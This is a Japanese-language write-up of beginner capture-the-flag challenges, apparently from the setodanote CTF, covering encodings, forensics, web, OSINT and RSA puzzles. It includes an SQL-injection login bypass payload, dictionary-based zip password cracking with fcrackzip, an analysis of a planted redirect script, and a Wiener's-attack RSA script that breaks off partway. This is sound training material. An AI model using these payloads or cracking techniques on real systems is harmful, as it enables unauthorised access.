問題の難易度が初心者にとってちょうどよく、期間も2週間だったためじっくり取り組むことができました。
友人から「秘密のメッセージを送るね」とあるテキストファイルが送られてきました。どうやらそのままでは読めないようです。添付されたファイルを解析し、秘密のメッセージを見つけ出してください。 フラグは得られた文字列を flag{} で囲んで答えてください。フラグに英字が含まれている場合はすべて大文字で答えてください。例えば得られた文字列が Flag の場合は flag{FLAG} となります。
問題名からモールス符号だと予想できます。
与えられたtxtファイルをみるとDとBとSからなる文字列なので、それぞれが"ツー"と"トン"と区切り文字に対応するのでしょうということでhttps://morsedecoder.com/で入れてみると"B"→"ツー"、"D"→"トン"、"S"→"区切り文字"でした。
morse_one.txt
DDDBSDDSBDDDSDBDSBBBSDBBDSDBDDSDSBDDB
ちくしょう、なんてことだ。知り合いから預かっていたファイルをゴミ箱に放り込みやがった。まだ中身の確認もしていなかったのにだ。問い詰める必要はあるだろうが、いまはとにかくファイルを取り戻すことが先決だ。優先順位を間違えてはいけない。とくにかくゴミ箱からファイルを取り戻さなくては。・・・なんだぁこいつは、ファイル名が書き換えられてしまっているじゃあないか。なんて野郎だクソっこれじゃほかのファイルと見分けがつかないじゃあないか。なんて日なんだ今日はよぉ。しかしまったくもって腹立たしいことは確かだが、まだ焦るのは早すぎるよなぁ。ぜんぜん焦る必要はねぇ。なぜならこっちにはファイルと共に受け取ったこのハッシュ値があるんだからよぉ・・・
添付ファイルを解析し、以下のハッシュ値を持つファイル見つけ出してください。フラグはそのファイルに記載されている文字列を組み合わせたものとなります。
aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7
8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb
e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962
hash値の長さは64ですのでsha256とか。たくさんダミーのファイルが与えられているので全部hash値を計算してこの3つになるものだけ出力します
$ ls hash/ pass001.txt pass009.txt pass017.txt pass025.txt pass033.txt pass041.txt pass049.txt pass057.txt pass065.txt pass073.txt pass081.txt pass089.txt pass002.txt pass010.txt pass018.txt pass026.txt pass034.txt pass042.txt pass050.txt pass058.txt pass066.txt pass074.txt pass082.txt pass090.txt pass003.txt pass011.txt pass019.txt pass027.txt pass035.txt pass043.txt pass051.txt pass059.txt pass067.txt pass075.txt pass083.txt pass004.txt pass012.txt pass020.txt pass028.txt pass036.txt pass044.txt pass052.txt pass060.txt pass068.txt pass076.txt pass084.txt pass005.txt pass013.txt pass021.txt pass029.txt pass037.txt pass045.txt pass053.txt pass061.txt pass069.txt pass077.txt pass085.txt pass006.txt pass014.txt pass022.txt pass030.txt pass038.txt pass046.txt pass054.txt pass062.txt pass070.txt pass078.txt pass086.txt pass007.txt pass015.txt pass023.txt pass031.txt pass039.txt pass047.txt pass055.txt pass063.txt pass071.txt pass079.txt pass087.txt pass008.txt pass016.txt pass024.txt pass032.txt pass040.txt pass048.txt pass056.txt pass064.txt pass072.txt pass080.txt pass088.txt $ shasum -a 256 hash/* | grep -e "aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7" -e "8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb" -e "e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962" aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7 hash/pass024.txt 8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb hash/pass034.txt e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962 hash/pass079.txt $ cat hash/pass024.txt hash/pass034.txt hash/pass079.txt flag{hardest _logic_ puzzle}
友人のプログラマーからあるテキストデータを受け取りました。中身はあるプログラミング言語で書かれたプログラムだというのですが、、、
以下のテキストデータを解析し、フラグを得てください。
+++++++[->++++++++++>+++++++++++>+++++++++>++++++++++<<<<]>.>-.>++.>+.>++++++++[>++++<-]>.>+++++[->+++++++++++++++++++++>+++++++++++++++++++++++<<]>.>.>++++++++[>++++<-]>.>++++++++++[->++++++++++>++++++++++>++++++++++>++++++++++>++++++++++++<<<<<]>++.>++++++++.>---.>+++.>+++.>++++++++[>++++++++<-]>++++.>+++++++++++[>++++++++++>++++++++++<<-]>+.>.>++++[>++++++++++<-]>-.>+++[->+++++[->++++++++<]<]>>----.>++++++++++[->++++++++++>+++++++++>++++++++++++>++++++++++>+++++++++<<<<<]>-----.>-----.>-----.>+.>+++++.>++++++++++++++++++++[>++++++>+++++>+++++>+++++>+++>++<<<<<<-]>----.>++++.>+.>-----.>++++++++++.>+++++.>++++++++++[->+++++++++>+++++++++++>+++++++++++>++++++++++<<<<]>---.>+.>++++.>.>+++[->+++++++++++<]>..>+++++[->+++++[->+++++<]<]>>.
Brainfuckというプログラミング言語です。 全然読めませんがここで実行できます。 実行するとフラグが得られます。
添付されたファイルから以下が示す3つのファイルを探してください。
[89 50 4e 47]
[52 61 72 21]
[ff d8 ff e0]
フラグは該当するファイル名を以下の順番にアンダースコアでつないで回答してください。
flag{[89 50 4e 47]_[52 61 72 21]_[ff d8 ff e0]}
例えばファイル名がそれぞれ以下の場合は flag{aaa_bbb_ccc} と答えてください。
[89 50 4e 47] = aaa.txt
[52 61 72 21] = bbb.exe
[ff d8 ff e0] = ccc.zip
1つめの[89 50 4e 47]がPNGの先頭4バイトと同じですので、他二つもいずれかのファイルの先頭4バイトだと予想して検索するとそれぞれ.rarファイルと.jpgファイルでした。 ですので該当するファイルは"post.png"と"rar.rar"と"light.jpg"になります。
友人からある画像が送られてきました。何かが写りこんでいるらしいのですが。 添付されたファイルを解析してフラグを入手してください。
flagが3箇所に分けて隠してあります。全てstegsolveでみれます。
友人から「マジの秘密のメッセージを送るね」とあるテキストファイルが送られてきました。どうやらマジでそのままでは読めないようです。添付されたファイルを解析し、マジの秘密のメッセージを見つけ出してください。 フラグは得られた文字列を flag{} で囲んで答えてください。フラグに英字が含まれている場合はすべて大文字で答えてください。例えば得られた文字列が Flag の場合は flag{FLAG} となります。
.txtファイルを見ると"ZZZZZ.."と書いてありますが、見えている文字量に対してファイルサイズが大きいことがわかります。
バイナリエディタで開いてみると見えていない部分があることがわかります。
よくみると見えている"Z(5A)"以外には"E2 80 8C"と"E2 80 8B"の並びしかないことがわかります。したがってこれらが"ツー"か"トン"に対応しているのでしょう。
https://morsedecoder.com/で入れてみると正解でした。
あなたの元に緊急の対応依頼が飛び込んできました。重要なファイルがランサムウェアによって暗号化されてしまった。なんとか助けてほしい。電話越しに状況を聞き取りつつ、1枚の画像が送られてきました。端末のディスプレイを写したもののようです。「No More Ransom Project の出番だな。」その画像を見た上司がつぶやきます。今回のあなたの仕事はランサムウェアによって暗号化されてしまったファイルを復元することです。 添付されたファイルを解析し、フラグを得てください。
調べるとGandCrabというランサムウェアで暗号化されていることがわかりました。
GandCrabで暗号化されたファイルを復号するツールがこちらのサイトでダウンロードできます。
使うとflagが出てきます。
あなたは友人のプログラマーからあるテキストファイルを渡されました。中身を確認しますが画面には何も表示されません。何も書かれていないのか、いや、よく見ると、、、 添付されたファイルを解析してフラグを得てください。
何も見えませんが空白文字が含まれています。調べるとWhitespaceという「スペース・Tab・LF」で書くプログラミング言語らしいです。 https://ideone.com/で実行できます。
「このアセンブリ、見た瞬間あなただと分かりましたよ。」 ある暗号方式の名称がフラグになっています。添付ファイルからその暗号方式の名称を特定し、フラグ形式で回答してください。 フラグに英字が含まれている場合は、すべて大文字で答えてください。例えば This_is_FLAG が得られた場合は flag{THIS_IS_FLAG} となります。
結果からいうとRC4の暗号化アルゴリズムですが、これを見てRC4とわかったというよりRC4じゃないかと予想をたてて確認してみたらあってたという感じです。
RC4はKSA(Key-scheduling algorithm)とPRGA(Pseudo-random generation algorithm)の2段階の処理で擬似乱数を生成し、そいつと平文とをXORする暗号です。
画像の右側がKSA、左側がPRGAになっています。
あなたの友人のジャーナリストは極秘ファイルの入手に成功しました。ですが重要な部分が黒塗りにされてしまっているようです。このままでは真実が闇に葬り去られてしまいます。あなたは極秘ファイルの解析を依頼されました。添付されたファイルを解析し、真実を明らかにしてください。
与えられたpdfファイルをMicrosoft Wordで開くとフラグを隠している黒い部分を移動させられました。
あなたの同僚は部署内で利用されているパスワード規則に疑問を抱いているようです。脆弱なパスワードが生成されてしまうのではないかと。これを確かめるべく同僚は、過去実際にこの規則に従い作成されていたパスワード付きzipのコピーをあなたに送付し、その解析を依頼しました。 添付されたファイルを解析し、フラグを入手してください。なお、ファイルはコピーであり更新日時が実際にパスワード設定された日時とは異なる点に注意してください。
添付されているpdfファイルをみると、パスワードの生成規則は以下です。
こう与えられている以上辞書を作って攻撃しなさいということかと思って辞書を作りました。
とりあえず数を減らすために日付のところは20210101から20210901までに絞りました。(それでもずいぶんでかいファイルになりましたが)
辞書を作ったらfcrackzipで解析し、パスワードを特定、zipファイルを解凍したらflagが得られます。
$ fcrackzip -u -D -p password_list.txt TopSecret.zip PASSWORD FOUND!!!!: pw == qYL%20210228!
あなたはある通信を保存したファイルを受け取りました。添付されたファイルを解析し、通信先の Web サーバのホスト名を特定してください。 フラグはホスト名をフラグ形式で答えてください。例えばホスト名が host.example.com であった場合、フラグは flag{host.example.com} となります。
pcapファイルを開いてhttp通信を見ます。
うまく爆発を避けれられているといいが。爆発音とともに通信が途切れる間際、後輩からデータが送られてきました。ターゲットが重要なファイルにアクセスしたことを示す証拠だと言い残して。後輩のためにもデータを解析し、重要なファイルの内容を特定してください。 添付されたファイルを解析し、フラグを得てください。
pcapファイルを開く > ファイル > オブジェクトをエクスポート > HTTP でみれます。
組織内の通信を監視している部署から不審な通信データがあるので解析をしてほしいと依頼がありました。通信自体は許可されたプロトコルが使用されているようですが、、、 添付されたファイルを解析し、フラグを入手してください。
echo requestのパケットをみていくとNo.29からデータの最後の1バイトがflagになっていることがわかります。
あなたはある事件の調査としてある人物の通信を監視しています。どうやら誰かと連絡を取り合っているようです。通信データファイルを解析し、やりとりの内容を明らかにしてください。 添付されたファイルを解析し、フラグを入手してください。
pcapファイルをwiresharkで開いて、[分析] > [追跡] > [TCP] からみていくとストリーム12でzipファイルを添付したメール、ストリーム14でzipファイルパスワードが得られます。
小さいサイズだったのでコピペして以下のようにしました。
$ python3 >>> import base64 >>> with open("a.zip","wb") as f: ... f.write(base64.b64decode("UEsDBBQAAQAAADBq8FK0Nz5zSgAAAD4AAAATAAAAUmVwb3J0LUFWLVQwMDk3LnR4dAzRMzm6s5vAM3huF0n2GEKFrarxVD3WvzurjKz9sjA7iD6nWis0GBRcIdcyrQkqliocBi2lCUB6J0hRUgHzDVCnVx6LnLS5LenqUEsBAj8AFAABAAAAMGrwUrQ3PnNKAAAAPgAAABMAJAAAAAAAAAAgAAAAAAAAAFJlcG9ydC1BVi1UMDA5Ny50eHQKACAAAAAAAAEAGADNWpx++XnXARJtllL6edcB0TOVfvl51wFQSwUGAAAAAAEAAQBlAAAAewAAAAAA")) ... 246 >>> $ unzip a.zip Archive: a.zip [a.zip] Report-AV-T0097.txt password: extracting: Report-AV-T0097.txt $ cat Report-AV-T0097.txt This is Flag. flag{SoNtOkIhAmOuKaTaHoUmOtSuMuRuNoSa;)}
作成中のサイトに機密情報が含まれてしまっているようです。サイトにアクセスして機密情報を見つけ出してください。 以下のサイトにアクセスして隠されたフラグを見つけてください。
https://ctf.setodanote.net/web001/
htmlファイル内にコメントアウトされています
作成中のサイトを管理しているサーバに問題があり、機密情報が漏洩しているようです。サイトにアクセスして機密情報を特定してください。 以下のサイトにアクセスして隠されたフラグを見つけてください。
https://ctf.setodanote.net/web002/
問題文からHTTP Headerを確認します。
$ curl -I https://ctf.setodanote.net/web002/ ... x-setodanotectf-flag: flag{Just_a_whisper} ...
近所の子供から「ぷにぷにこーどあげるね」と1枚の紙を手渡されました。見ると子供の字とは思えない正確な書体で英数字がびっしりと書き込まれています。これはいったい。そう聞こうとしましたが、紙に意識を取られた一瞬のうちにその子供はいなくなっていました。 紙に書かれた文字列を解析し、フラグを入手してください。フラグは得られた文字列を flag{} で囲んで答えてください。例えば flag が得られた場合は flag{flag} と入力します。
xn--q6jaaaaaa08db0x8nc9t1b8fsviei84atb4i0lc
xn--q6jaaaaa03dpd4mb3jc5rpa0g9jpk07acadc.
xn--q6jylla3va3j6c8138a8eptvb303cxv4ft3o4ue63a
xn--v8ja6aj2a3cri3ag4a2r6cx2a1rkk1272c7j4ajd4bmf0kjhg6rb.
xn--q6j6gav1a0b2e1bh1ac2cl29ad7728kdjen6cz80dju6bqexchl9gel8b.
xn--から始まる文字列はpunycode表記に変換されたものです。
ここで変換できます。
変換すると以下のようになります
フラグは、さん、さん、ピー、ユー、エヌ、ワイ、シー、オー、ディー、イー、よん、よん、です.カタカナ表記は半角英小文字に、ひらがな表記は半角数字にしたものがフラグです.なお、読点は区切り文字なので取り除いてください.
作成中のサイトに不備があると外部から指摘を受けています。どうやら機密情報が漏れてしまっているようです。サイトにアクセスして機密情報を特定してください。 以下のサイトにアクセスして隠されたフラグを見つけてください。
http://ctf.setodanote.net/web003/
ページのソースコードをみるとflag形式の記述の部分にWebserver directory index?
とコメントで書かれていることがわかります。
ここからディレクトリリスティングが可能ではないかと予想します。
assets/
やimages/
ディレクトリがあることはわかるのでその辺の中身をみてみるとimages/pic_flag_is_here.txt
がありました。
んー、このサイトには重大な脆弱性があります。そう切り出してきた相手の姿にあなたは言葉が出ません。それは音信不通となっていた後輩の生き写し。聞きたいことが山ほどありますが、まずはサイトの脆弱性を修正しなければなりません。サイトを解析し、脆弱性を特定してください。 以下のサイトにアクセスしてフラグを得てください。
https://ctf.setodanote.net/web005/
とりあえず
username: admin
password: ' or 1=1; --
で入力したらいけました。
組織の関連サイトを監視している部署から「どうやら局長ブログで機密情報が漏洩しているようだ」と連絡が入りました。一部SNSで言及されているものの、幸いにしてまだ広まってはいないようです。なんとか穏便にすませたい上司に配慮し、被害を最小にすべくサイトを調査し漏洩している機密情報を特定してください。 以下のサイトにアクセスしてフラグを得てください。
https://ctf.setodanote.net/web006/
サイトにアクセスするとお詫びという投稿がありました。以下のような内容です。 この投稿から2021年6月2日に投稿した画像の内にフラグに関わる情報があることがわかります。
各ブログ記事及び掲載されている画像のURLは日付に基づいているようなので日付の数字を変えればokです。
ブログ記事自体は削除されていましたが
https://ctf.setodanote.net/web006/images/20210602001b.jpg
に画像は残っていました。
画像内にflagが写っていました。
旗から手紙が届きました。
親愛なる貴方へ
こうして貴方に手紙を送るのは初めてですね。
実はとてもうまく隠れることができたので、嬉しくなりこのような手紙を送ることにしました。
どうか私を見つけてくれますか?
旗
以下のサイトにアクセスしてフラグを得てください。
https://ctf.setodanote.net/web007/
faviconにフラグが隠されていました。
$ curl https://ctf.setodanote.net/web007/images/favicon.png // flag{Mr_Flag_hiding_in_the_favicon} console.table({place: "favicon.png", png: "false", flag: "true", Look: "me"});
組織の関連サイトを監視している部署から「どうやら会長ブログが何らか侵害を受けてしまっているようだ」と連絡が入りました。再現方法が不明なものの、一部の訪問者から不審なサイトに飛ばされてしまうという指摘がされているようです。上司は休暇で不在ですが特に支障はありません。被害を最小にすべくサイトを調査し侵害状況を把握してください。
以下のサイトにアクセスしてフラグを見つけ出してください。
https://ctf.setodanote.net/web004/
上記webページをみるとscriptタグ
内に以下のようなリダイレクト処理が書かれています。
直線のページのドメインがwww.google.co.jp
かwww.google.com
だった場合にaHR0cHM6Ly9jdGYuc2V0b2Rhbm90ZS5uZXQvd2ViMDA0L2JXRnNhMmwwLmh0bWw=
にリダイレクトするみたいです。
base64エンコードされているのでデコードするとhttps://ctf.setodanote.net/web004/bWFsa2l0.htmlでした。
!function(){var ref = document.referrer;var domain = ref.match(/^http([s]?):\/\/([a-zA-Z0-9-_\.]+)(:[0-9]+)?/)[2];if(domain == "www.google.com" || domain == "www.google.co.jp" ){location.href = atob('aHR0cHM6Ly9jdGYuc2V0b2Rhbm90ZS5uZXQvd2ViMDA0L2JXRnNhMmwwLmh0bWw=');}}();
このページにブラウザでアクセスすると何度かリダイレクトをした後にhttps://ctf.setodanote.net/web004/ZGFtbXlmbGFn/?callback=wantFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200に行きつきました。
勝手にリダイレクトしないようにcurlコマンドで追って行ってみます。
$ curl https://ctf.setodanote.net/web004/bWFsa2l0.html ... var params = new URL(window.location.href).searchParams; if(Array.from(params).length > 0){ location.href = 'https://ctf.setodanote.net/web004/bm9mbGFn/?'+params; }else{ location.href = 'https://ctf.setodanote.net/web004/bWFsa2l0.html?callback=wantFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200'; } }(); ...
一つ目のページはパラメータがついているかでリダイレクト先が変わっています。
パラメータがついていない場合にはパラメータとしてcallback, data1, data2, data3, data4
をつけて同じページにリダイレクトしています。
ですので、このパラメータを条件分岐の上側のURLにつけてアクセスします。
アクセスすると2回ほど無条件でリダイレクトした後以下のようにまた条件分岐するページに行きつきます。
var params = new URL(window.location.href).searchParams; if (params.get('callback') == 'getFlag') { location.href = 'https://ctf.setodanote.net/web004/dGFjaGlrb21hX2thd2FpaV95b25l/?' + params; }else{ location.href = 'https://ctf.setodanote.net/web004/ZGFtbXlmbGFn/?' + params; }
ここでパラメータcallback
がgetFlag
であれば上の条件のURLにリダイレクトしますので変えてやります。
最終的にhttps://noisy-king-d0da.setodanote.net/?callback=getFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200に行き着くとflagが得られます。
だいぶ元気なようだ。長期休暇中の後輩からメッセージが届きました。「どこにいると思います?コールサイン C6DF6 の上ですよ!!」どうやら何か乗り物に乗っているようです。後輩が何に乗っているのか特定してください。 フラグは後輩がいるという乗り物の正式名称を flag{} で囲んで答えてください。名称に空白が含まれている場合はアンダースコアでつないで回答してください。例えば This is a FLAG が名称である場合は flag{This_is_a_FLAG} のように答えてください。
"C6DF6" で調べてみると「Symphony of the Seas」という船のコールサインでした
あなたは組織が所有するドメインに関係するサイトの中で login.php が不用意に公開されていないかを Google を使って確認するように依頼を受けました。login.php が利用されているかどうかは、ある5文字の検索演算子をひとつ使えば調査することができそうです。 Google で login.php を URL に含むページを検索するための検索語句を検索演算子を含めてすべて小文字 でフラグ形式にして答えてください。 例えばファイルタイプを限定する filetype の検索演算子で pdf を検索するための検索語句を答える場合は flag{filetype:pdf} となります。
"google 検索演算子 一覧"で調べてみると、inurl:
という検索演算子がURL内に特定の単語を含むページを検索する際に利用できると知りました
Twitter アカウント @cas_nisc が2017年5月15日にツイートした注意喚起に付与されている英字のハッシュタグをフラグ形式で答えてください。 例えば付与されていたのが「#HashTag」であればフラグは flag{#HashTag} となります。
ツイート検索でアカウントと期間を指定すればいいです
"from:cas_nisc since:2017-05-15 until:2017-05-16"
友人が簡単な暗号を作ったから意見を聞かせてほしいと言ってきました。公開情報に基づき解くことができるといいます。あなたは暗号文を解いてみることにしました。
00:03:93 = A
00:01:A9 = B
04:2A:E2 = C
上記の通り変換されるとき、以下の文字列はどうなるか。
flag{2C:C2:60_FC:EC:DA_00:02:B3_AC:44:F2_FC:4E:A4}
暗号文を解きフラグを得てください。
問題名からMACアドレスと予想してhttps://uic.jp/mac/で検索してみるとそれぞれ Vendor name の最初の文字に対応していることがわかります
調べてみると以下のようになりました
2C:C2:60 → O
FC:EC:DA → U
00:02:B3 → I
AC:44:F2 → Y
FC:4E:A4 → A
送られてきたデータが端末に表示されます。後輩の活躍により、監視対象者が操作していた端末画面の取得に成功しました。映し出された画面はある組織の所在地に関する情報を含んでいます。画像を解析し、所在地に最も関係する組織名を特定してください。 添付されたファイルを解析し、所在地に最も関係する組織の名称を英語表記で答えてください。名称にスペースがある場合はアンダースコアに置換しフラグ形式で回答してください。 例えば組織名が Government Communications Headquarters だった場合は flag{Government_Communications_Headquarters} となります。
添付されている画像ファイルには緯度経度の情報が写っていました
検索すると国際連合のビルがありました
識別子があることを知っておくことは共通の認識をもつために必要なことでしょう。ですが、すべての識別子を覚える必要はないと思います。そういう理由で私はこの課題に必要性を感じません。そう説得したが教官は首を縦に振ってはくれなかった。そして、私はこれからこの文字列を解読しなければならない。
T1495T1152T1155T1144 T1130T1518 flag{T1170T1118T1099T1496T1212_T1531T1080T1127T1020T1081T1208_T1112T1098T1199T1159T1183T1220_T1111T1147T1220}
フラグに英字が含まれる場合はすべて大文字で答えてください。
問題名からT+数字4桁
は MITRE ATT&CK のIDであると予想できます
該当するIDの名前の1文字目をとってくると、flag{
の前がFLAG IS
になることから、この方法が正しそうだとわかります
あとはhttps://www.attack-mitre-japan.com/techniques/enterprise/で1つずつ調べました
休暇中の同僚から写真が送られてきました。あるロープウェイから撮られた写真とのこと。そしてもし写真から撮影場所が特定できたらいい地酒をお土産に買ってくれると言います。あなたは仕掛中の仕事を脇に置き、写真の解析を始めました。
添付されたファイルを解析し、ロープウェイ名称を英小文字のフラグ形式で答えてください。例えばロープウェイの名前が「瀬戸田ロープウェイ」の場合、フラグは flag{setoda} となります。
google画像検索で見つかりました
組織に入ったばかりの新人からチャットが来ました。ですが普通の文字列ではなく暗号文になっているようです。どうやら新人は暇なようです。 以下の文字列を解読して、フラグを獲得してください。
ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==
base64でエンコードされているのでデコードします
組織でも指折りの経験豊富なベテランからチャットが来ました。ですが普通の文字列ではなく暗号文になっているようです。どうやらこのベテランも暇なようです。 以下の文字列を解読して、フラグを獲得してください。
synt{Rira_lbh_Oehghf?}
問題名の通りROT13します
組織の局長からチャットが来ました。ですが普通の文字列ではなく暗号文になっているようです。どうやらこの組織には暇人しかいないようです。 以下の文字列を変換して、フラグを獲得してください。
\x41\x3a\x44\x6f\x20\x79\x6f\x75\x20\x6b\x6e\x6f\x77\x20\x4d\x6f\x6c\x63\x61\x72\x3f\x0a\x0a\x42\x3a\x4f\x66\x20\x63\x6f\x75\x72\x73\x65\x21\x20\x49\x20\x6c\x6f\x76\x65\x20\x74\x68\x65\x20\x73\x63\x65\x6e\x65\x20\x77\x68\x65\x72\x65\x20\x68\x65\x20\x73\x69\x6e\x6b\x73\x20\x69\x6e\x74\x6f\x20\x74\x68\x65\x20\x62\x6c\x61\x73\x74\x20\x66\x75\x72\x6e\x61\x63\x65\x20\x77\x68\x69\x6c\x65\x20\x67\x69\x76\x69\x6e\x67\x20\x74\x68\x65\x20\x74\x68\x75\x6d\x62\x73\x20\x75\x70\x2e\x0a\x0a\x41\x3a\x2e\x2e\x2e\x20\x57\x68\x61\x74\x3f\x0a\x0a\x42\x3a\x62\x74\x77\x2c\x20\x74\x68\x65\x20\x66\x6c\x61\x67\x20\x69\x73\x20\x66\x6c\x61\x67\x7b\x48\x61\x76\x65\x5f\x79\x6f\x75\x5f\x65\x76\x65\x72\x5f\x68\x65\x61\x72\x64\x5f\x6f\x66\x5f\x48\x65\x78\x64\x75\x6d\x70\x3f\x7d\x2e\x0a
16進数になっていますね。 cyberchefとかで戻します。
分担が一区切りし拠点に立ち寄っていた後輩から、あなたが3か月前に送ってきたチャットが結局なんだったのか解けないでいると話しかけられました。そういえば暇だったから意味もなく秘匿回線で内偵中の後輩に暗号文を送っていたことを思い出します。 以下の文字列を解析してフラグを入手してください。
Gur cevgrsgbvh vp Pvhgevyyrq Hhsynmmbpbrq Vhpvezngbvh (PHV) ermbqrhg bh hvhprqreny mlmgrzm nhq vetnhbfngbvhm bm vp cnenzvahg bzcvegnhsr gv prqreny ntrhsbrm nhq snh qbersgyl bzcnsg gur nobybgl vp gur prqreny tvirehzrhg gv massrmmpayyl svhqasg bgm rmmrhgbny zbmmbvhm nhq pahsgbvhm. Gubm caoybsngbvh cevibqrm ntrhsbrm jbgu ersvzzrhqrq mrsaebgl erdaberzrhgm pve cevgrsgbht gur svhpbqrhgbnybgl vp PHV jurh gur bhpvezngbvh bm ermbqrhg bh hvhprqreny mlmgrzm nhq vetnhbfngbvhm; jurh gur hvhprqreny vetnhbfngbvh bm hvg svyyrsgbht ve znbhgnbhbht bhpvezngbvh vh orunyp vp n prqreny ntrhsl ve ambht ve vcrengbht n mlmgrz vh orunyp vp nh ntrhsl; nhq jurer gurer ner hv mcrsbpbs mnprtaneqbht erdaberzrhgm pve cevgrsgbht gur svhpbqrhgbnybgl vp Synt bm pynt{cabcab_sne_vp_zvy} PHV cermseborq ol gur naguvebfbht ynj, ertayngbvh, ve tvirehzrhgjbqr cvybsl pve gur PHV sngrtvel ybmgrq bh gur PHV Ertbmgel. Gur erdaberzrhgm nccyl gv nyy svzcvhrhgm vp hvhprqreny mlmgrzm nhq vetnhbfngbvhm gung cevsrmm, mgver, nhq/ve genhmzbg PHV, ve gung cevibqr cevgrsgbvh pve masu svzcvhrhgm. Gur mrsaebgl erdaberzrhgm ner bhgrhqrq pve amr ol prqreny ntrhsbrm bh svhgensgany irubsyrm ve vgure nterrzrhgm rmgnoybmurq orgjrrh guvmr ntrhsbrm nhq hvhprqreny vetnhbfngbvhm.
最初の方の"Pvhgevyyrq Hhsynmmbpbrq Vhpvezngbvh (PHV)"は前3単語の頭文字を後の括弧内に書いてるようですが、同じ文字に変換されているため単換字式暗号だろうと予想できます。 http://www.net.c.dendai.ac.jp/crypto/histogram2.htmlで地道に解析しました。 暗号文の後半あたりの"pynt{cabcab_sne_vp_zvy}"が"flag{...}"であろうことや出現頻度の最も多い"r"が"e"だろうことから推測を初めて連鎖的に対応づけていきます。
あなたはシェフ帽の人物からレシピを受け取りました。どうやら組織からの秘密のメッセージのようです。レシピを解読し、秘密のメッセージを入手してください。
Input:
NzRmNDRiMWE0Y2M2ZGNiNzc3NTMyNTcwZjk0MTE4NTMyNTcxZjE1YTE1NTJkY2M0
Recipe:
RnJvbV9CYXNlNjQoJ0EtWmEtejAtOSsvPScsdHJ1ZSkN]b2[sRnJvbV9IZXgoJ05vbmUnKQ0=]b2[sRm9yaygnJScsJ18nLGZhbHNlKQ0=]b2[sUkM0KHsnb3B0aW9uJzonVVRGOCcsJ3N0cmluZyc6J2NoZWYnfSwnTGF0aW4xJywnTGF0aW4xJyk=
問題名と問題文からCyberChefが思い当たります。
RecipeにはCyberChefのレシピがbase64でエンコードされた形で4つ含まれています。
最初]b2[
で区切られていると思いましたが、それだと二つ目以降のレシピがおかしなことになります。
base64でエンコードされている文字列は4の倍数の長さになるはずですが、]b2[
を区切りにすると4の倍数+1文字の長さになります。
したがって]b2[s
までを区切り文字として見れば文字数的には合うなと思い、これでやってみました。
デコードした結果4つのレシピは以下でした。
・From_Base64('A-Za-z0-9+/=',true)
・From_Hex('None')
・Fork('%','_',false)
・RC4({'option':'UTF8','string':'chef'},'Latin1','Latin1')
あとはCyberChefでこのレシピにInputを与えればflagがでます。
あなたは組織の定期研修に参加しています。教官から RSA 暗号の禁止事項くらいは覚えておくようにと課題が出題されました。どうやら暗号文 c を解くことができればそれだけ早く帰れるようです。 以下の RSA 暗号を解読してフラグを入手してください。
c: 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335
n: 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257
e: 65537
nが小さいので素因数分解が可能です。
このサイトでp,qを求めれば普通に復号できます。
solve.py
from Crypto.Util.number import inverse, long_to_bytes n = 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257 e = 65537 c = 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335 p = 3058517013146002381763962882964790715736519 q = 4372642466716249946441875327733923056149624303 d = inverse(e, (p-1)*(q-1)) print("d = " + str(d)) m = pow(c, d, n) print("plain text is " + str(long_to_bytes(m)))
実行結果
$ python3 solve.py d = 4897557609358873156657999039608506066811736904039482454770352974851826510011931551945473 plain text is b'flag{weak_rsa_can_be_decrypted!}'
あなたは引き続き組織の定期研修に参加しています。教官は昨日と同じ人物です。「早く帰れると言ったな。あれは嘘だ」昨日の信じられない光景が脳裏に蘇ります。RSA 暗号の禁止事項くらいは覚えておくようにと再び RSA 暗号の課題が出題されました。もはや誰も信じていませんがどうやら暗号文 c を解くことができればそれだけ早く帰れるようです。 以下の RSA 暗号を解読してフラグを入手してください。 c: 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681
n: 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423
e: 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137
eが非常に大きすぎです。この場合相対的に秘密鍵dが小さくなるのでWiener's Attackという攻撃方法が使えます。 こちらにあったコードを使って解けました。
from fractions import Fraction from Crypto.Util.number import inverse, long_to_bytes n = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423 e = 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137 c = 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681 def continued_fractions(n, e): cf = [0] while e != 0: cf.append(int( n / e )) N = n n = e e = N % e return cf def calkKD(cf): kd = list() for i in range(1, len(cf) + 1): tmp = Fraction(0) for j in cf[1:i][::-1]: tmp = 1 / (tmp + j) kd.append((tmp.numerator, tmp.denominator)) return kd def int_sqrt(n): def f(prev): while True: m = (prev + n // prev) // 2 if m >= prev: return prev prev = m return f(n) def calcPQ(a, b): if a * a < 4 * b or a < 0: return None c = int_sqrt(a * a - 4 * b) p = (a + c) // 2 q = (a - c) // 2 if p + q == a and p * q == b: return (p, q) else: return None def wiener(n, e): kd = calkKD(continued_fractions(n, e)) for (k, d) in kd: if k == 0: continue if (e * d -1) % k != 0: continue phin = (e * d -1) // k if phin >= 